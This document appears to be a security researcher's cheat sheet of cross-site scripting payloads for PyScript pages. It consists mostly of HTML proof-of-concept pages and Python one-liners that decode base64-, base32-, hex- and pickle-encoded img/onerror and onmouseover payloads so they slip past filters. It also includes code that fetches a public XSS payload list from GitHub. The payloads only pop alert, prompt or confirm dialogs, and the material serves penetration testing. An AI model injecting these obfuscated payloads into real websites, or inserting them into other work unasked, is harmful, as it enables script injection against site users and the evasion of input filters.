What is PyScript ?
PyScript is a Pythonic alternative to Scratch, JSFiddle, and other “easy to use” programming frameworks, with the goal of making the web a friendly, hackable place where anyone can author interesting and interactive applications.
Reference: PyScript Git Repo
Note: Only modules in Python Standard Library are available.
PyScript Hello World
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body> <py-script> print('Hello, World!') </py-script> </body>
</html>
Reference: PyScript Hello World
XSS PoC Using PyScript
Note: Uncomment any one line, not the HTML IMG tag ones.
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<py-script>
<!-- <img src=x onerror=alert(document.domain)> -->
<!-- print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8')) -->
<!-- print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8')) -->
<!-- print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8')) -->
<!-- repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8')) -->
<!-- repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8')) -->
<!-- repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8')) -->
<!-- <img src=x onerror=prompt(Date())> -->
<!-- print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')) -->
<!-- print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8')) -->
<!-- print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8')) -->
<!-- repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')) -->
<!-- repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8')) -->
<!-- repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8')) -->
</py-script> </body>
</html>
Just the Python onliners.
Write <img src=x onerror=alert(document.domain)>
:
print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8'))
print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8'))
repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8'))
repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8'))
Write <img src=x onerror=prompt(Date())>
:
print(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))
print(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8'))
print(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8'))
repr(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))
repr(__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8'))
repr(__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8'))
Some other alternatives to print()
are:
repr()
__import__('pprint').pprint()
__import__('pprint').PrettyPrinter().pprint()
Caveats:
- The XSS payload is enclosed within single quotes, but still works!.
Payloads using pprint()
__import__('pprint').pprint(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))
__import__('pprint').PrettyPrinter().pprint(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8'))
Screenshot showing repr()
and pprint()
payload:
Payloads using logging
module:
# <img src=x onerror=alert(document.domain)>
__import__('logging').warning(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').fatal(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').error(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').critical(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
__import__('logging').exception(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
Drawback of using logging module - prepends the payload with following strings with respect to the logging function used.
WARNING:root:
-logging.warning()
CRITICAL:root:
-logging.fatal()
orlogging.critical()
ERROR:root:
-logging.error()
orlogging.exception()
- In case of
logging.exception()
, the stringNoneType: None
is appended to the payload as well.
- In case of
Example:
>>> __import__('logging').warning(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
WARNING:root:<img src=x onerror=alert(document.domain)>
>>> __import__('logging').fatal(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
CRITICAL:root:<img src=x onerror=alert(document.domain)>
>>> __import__('logging').error(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
ERROR:root:<img src=x onerror=alert(document.domain)>
>>> __import__('logging').critical(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
CRITICAL:root:<img src=x onerror=alert(document.domain)>
>>> __import__('logging').exception(__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8'))
ERROR:root:<img src=x onerror=alert(document.domain)>
NoneType: None
Screenshot for logging.warning()
:
Pickled Payload:
XSS Payload: <img src=z onerror=prompt(document.domain>
Pickling and base64 encoding pickled payload:
>> import pickle, codecs
>> codecs.encode(pickle.dumps("<img src=z onerror=prompt(document.domain>"), "base64").decode()
gASVLwAAAAAAAACMKzxpbWcgc3JjPXogb25lcnJvcj1wcm9tcHQoZG9jdW1lbnQuZG9tYWluKT6U\nLg==\n
PyScript payload to unpickle the XSS payload.
print(__import__('pickle').loads(__import__('codecs').decode('gASVLwAAAAAAAACMKzxpbWcgc3JjPXogb25lcnJvcj1wcm9tcHQoZG9jdW1lbnQuZG9tYWluKT6U\nLg==\n'.encode(), "base64")))
Ref: https://localcoder.org/how-to-pickle-and-unpickle-to-portable-string-in-python-3
Hex Enoded Payload
XSS Payload: <img src=z onerror=confirm(document.domain)>
Hex Encode the Payload:
>> import binascii
>> binascii.hexlify(b'<img src=z onerror=confirm(document.domain)>')
b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e'
or
>> __import__('binascii').hexlify(b'<img src=z onerror=confirm(document.domain)>')
b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e'
PyScript payload to convert the hex payload to ASCII and run it.
print(__import__('binascii').unhexlify(b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e').decode())
Payloads Without print(), repr() or other similar functions.
The payloads can be used without print(), repr() or other similar functions.
# <img src=z onerror=confirm(document.domain)>
__import__('binascii').unhexlify(b'3c696d67207372633d7a206f6e6572726f723d636f6e6669726d28646f63756d656e742e646f6d61696e293e').decode()
# <img src=z onerror=prompt(document.domain>
__import__('pickle').loads(__import__('codecs').decode('gASVLwAAAAAAAACMKzxpbWcgc3JjPXogb25lcnJvcj1wcm9tcHQoZG9jdW1lbnQuZG9tYWluKT6U\nLg==\n'.encode(), "base64"))
# <img src=x onerror=prompt(Date())>
__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')
# <img src=x onerror=alert(document.domain)>
__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+').decode('utf-8')
__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLBNRSXE5BIMRXWG5LNMVXHILTEN5WWC2LOFE7A====').decode('utf-8')
__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D616C65727428646F63756D656E742E646F6D61696E293E').decode('utf-8')
# <img src=x onerror=prompt(Date())>
__import__('base64').b64decode('PGltZyBzcmM9eCBvbmVycm9yPXByb21wdChEYXRlKCkpPg==').decode('utf-8')
__import__('base64').b32decode('HRUW2ZZAONZGGPLYEBXW4ZLSOJXXEPLQOJXW24DUFBCGC5DFFAUSSPQ=').decode('utf-8')
__import__('base64').b16decode('3C696D67207372633D78206F6E6572726F723D70726F6D707428446174652829293E').decode('utf-8')
Get Your XSS Payload From Somewhere Else
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<py-script>
from pyodide.http import open_url
url = ("https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt")
open_url(url).read()
</py-script> </body>
</html>
or
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<py-script>
__import__('pyodide.http').open_url("https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt").read()
</py-script> </body>
</html>
Other interesting information regarding PyScript:
Platform:
__import__('platform').uname()
Output: uname_result(system='Emscripten', node='emscripten', release='1.0', version='#1', machine='wasm32')
Return the ‘login name’ of the user.
__import__('getpass').getuser()
Output: web_user
Machine Type
__import__('platform').machine()
Output: wasm32
Write to an HTML Element from PyScript
If there is an HTML element with id SampleElement
, we can write to this element as follows:
Method 1:
pyscript.write("SampleElement1", "Yeah We Can Do This!")`
Method 2:
elem = Element("SampleElement2")
elem.write("We can Also Do This !")
Example:
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<div id="SampleElement1" class="font-mono"></div>
<div id="SampleElement2" class="font-mono"></div>
<py-script>
pyscript.write("SampleElement1", "Yeah We Can Do This!")
elem = Element("SampleElement2")
elem.write("We can do this as well!")
</py-script> </body>
</html>
Writing Arbitrary HTML Within an Element:
In example below, and H1
tag is being added within the DIV
tag with id SampleEement
. The H1
tag has the onmouseover
event as well.
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<div id="SampleElement" class="font-mono"></div>
<py-script>
elem = Element("SampleElement")
<!-- Write following HTML code as inner HTML to element with id=SampleElement : <h1 onmouseover=confirm(document.domain)>WRITING ARBITRARY HTML</h1> -->
elem.write(__import__('base64').b64decode('PGgxIG9ubW91c2VvdmVyPWNvbmZpcm0oZG9jdW1lbnQuZG9tYWluKT5XUklUSU5HIEFSQklUUkFSWSBIVE1MPC9oMT4=').decode())
</py-script> </body>
</html>
or
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<div id="SampleElement" class="font-mono"></div>
<py-script>
<!-- Write following HTML code as inner HTML to element with id=SampleElement : <h1 onmouseover=confirm(document.domain)>WRITING ARBITRARY HTML</h1> -->
pyscript.write("SampleElement", __import__('base64').b64decode('PGgxIG9ubW91c2VvdmVyPWNvbmZpcm0oZG9jdW1lbnQuZG9tYWluKT5XUklUSU5HIEFSQklUUkFSWSBIVE1MPC9oMT4=').decode())
</py-script> </body>
</html>